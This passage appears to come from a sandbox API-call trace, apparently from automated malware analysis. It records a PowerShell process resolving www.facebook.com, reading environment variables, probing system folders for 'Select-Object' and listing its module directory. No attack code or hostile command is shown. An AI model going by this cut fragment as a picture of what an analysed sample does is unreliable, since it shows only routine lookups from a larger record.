bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e258*=0x50c) returned 1 [0129.569] CloseHandle (hObject=0x52c) returned 1 [0129.570] CloseHandle (hObject=0x50c) returned 1 [0129.570] GetCurrentProcess () returned 0xffffffff [0129.570] GetCurrentProcess () returned 0xffffffff [0129.570] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x50c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e270, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e270*=0x52c) returned 1 [0129.571] CloseHandle (hObject=0x50c) returned 1 [0129.571] CloseHandle (hObject=0x52c) returned 1 [0129.653] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e678*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e620 | out: ppResult=0x572e620*=0x5c696e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c0e8*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0130.568] FreeAddrInfoW (pAddrInfo=0x5c696e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c0e8*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0130.633] CoCreateGuid (in: pguid=0x572e738 | out: pguid=0x572e738*(Data1=0xb8d72c97, Data2=0x7b36, Data3=0x4728, Data4=([0]=0xa7, [1]=0x9e, [2]=0x4d, [3]=0xad, [4]=0x58, [5]=0x75, [6]=0x4c, [7]=0xc))) returned 0x0 [0130.634] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0130.904] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0130.904] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x572e2e0, nSize=0x80 | out: lpBuffer="") returned 0xbe [0130.904] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x572e264, nSize=0xbe | out: lpBuffer="") returned 0xbd [0130.905] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x572e250, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.905] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3e71a8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0130.905] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x572e258, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.906] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0130.906] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0130.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e14c) returned 1 [0130.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x572e410 | out: lpFileInformation=0x572e410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0130.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e148) returned 1 [0130.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e14c) returned 1 [0130.906] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x572e410 | out: lpFileInformation=0x572e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0130.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e148) returned 1 [0130.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e408) returned 1 [0130.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.907] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x572e1b8 | out: lpFindFileData=0x572e1b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e160) returned 1 [0130.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3c0) returned 1 [0130.907] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.907] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e14c) returned 1 [0130.907] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x572e410 | out: lpFileInformation=0x572e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0130.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e148) returned 1 [0130.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e408) returned 1 [0130.907] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.907] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.908] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x572e1b8 | out: lpFindFileData=0x572e1b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e160) returned 1 [0130.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3c0) returned 1 [0130.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e14c) returned 1 [0130.908] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x572e410 | out: lpFileInformation=0x572e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0130.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e148) returned 1 [0130.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e408) returned 1 [0130.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.909] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x572e1b8 | out: lpFindFileData=0x572e1b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e160) returned 1 [0130.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3c0) returned 1 [0130.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e14c) returned 1 [0130.909] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x572e410 | out: lpFileInformation=0x572e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0130.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e148) returned 1 [0130.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e408) returned 1 [0130.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.910] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x572e1b8 | out: lpFindFileData=0x572e1b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e160) returned 1 [0130.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3c0) returned 1 [0130.910] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e2f0, nSize=0xbe | out: lpBuffer="") returned 0x0 [0130.910] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x572e20c, nSize=0xbe | out: lpBuffer="") returned 0xbd [0130.910] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x572e1f8, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.911] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3e71a8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0130.911] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x572e200, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.911] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0130.911] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0130.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e0f4) returned 1 [0130.911] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x572e3b8 | out: lpFileInformation=0x572e3b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0130.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e0f0) returned 1 [0130.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e0f4) returned 1 [0130.911] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x572e3b8 | out: lpFileInformation=0x572e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0130.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e0f0) returned 1 [0130.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3b0) returned 1 [0130.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.912] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x572e160 | out: lpFindFileData=0x572e160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e108) returned 1 [0130.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e368) returned 1 [0130.912] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.912] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e0f4) returned 1 [0130.912] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x572e3b8 | out: lpFileInformation=0x572e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0130.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e0f0) returned 1 [0130.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3b0) returned 1 [0130.913] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.913] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.913] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x572e160 | out: lpFindFileData=0x572e160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e108) returned 1 [0130.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e368) returned 1 [0130.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e0f4) returned 1 [0130.913] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x572e3b8 | out: lpFileInformation=0x572e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0130.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e0f0) returned 1 [0130.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3b0) returned 1 [0130.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.914] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x572e160 | out: lpFindFileData=0x572e160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e108) returned 1 [0130.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e368) returned 1 [0130.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e0f4) returned 1 [0130.914] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x572e3b8 | out: lpFileInformation=0x572e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0130.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e0f0) returned 1 [0130.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3b0) returned 1 [0130.915] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.915] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.915] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x572e160 | out: lpFindFileData=0x572e160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e108) returned 1 [0130.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e368) returned 1 [0130.915] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x572e264, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0130.915] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x572e254, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0130.919] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0130.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0130.919] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0130.919] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0130.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0130.920] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 